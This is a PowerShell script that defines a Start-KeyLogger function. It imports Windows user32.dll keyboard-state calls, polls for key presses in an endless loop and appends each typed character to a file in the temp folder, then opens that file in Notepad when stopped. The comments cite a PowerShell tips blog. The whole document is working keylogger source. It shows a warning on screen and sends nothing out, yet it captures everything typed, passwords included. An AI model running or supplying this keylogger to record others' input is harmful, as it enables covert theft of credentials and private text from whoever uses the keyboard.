Start-KeyLogger.ps1

#requires -Version 2
function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
    <#
    .DESCRIPTION
        By accessing the Windows low-level API functions, a script can constantly
        monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.

        Run the function Start-Keylogger to start logging key presses. Once you
        stop the script by pressing CTRL+C, the collected key presses are displayed

    .NOTES
        http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
    #>
    # Signatures for API Calls
    $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

    # load signatures and make members available
    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

    # create output file
    $null = New-Item -Path $Path -ItemType File -Force

    try {
        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

        # create endless loop. When user presses CTRL+C, finally-block
        # executes and shows the collected key presses
        while ($true) {
            Start-Sleep -Milliseconds 40

            # scan all ASCII codes above 8
            for ($ascii = 9; $ascii -le 254; $ascii++) {
                # get current key state
                $state = $API::GetAsyncKeyState($ascii)

                # is key pressed?
                if ($state -eq -32767) {
                    $null = [console]::CapsLock

                    # translate scan code to real code
                    $virtualKey = $API::MapVirtualKey($ascii, 3)

                    # get keyboard state for virtual keys
                    $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
                    $checkkbstate = $API::GetKeyboardState($kbstate)

                    # prepare a StringBuilder to receive input key
                    $mychar = New-Object -TypeName System.Text.StringBuilder

                    # translate virtual key
                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

                    if ($success) {
                        # add key to logger file
                        [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
                    }
                }
            }
        }
    }
    finally {
        # open logger file in Notepad
        notepad $Path
    }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
#Start-KeyLogger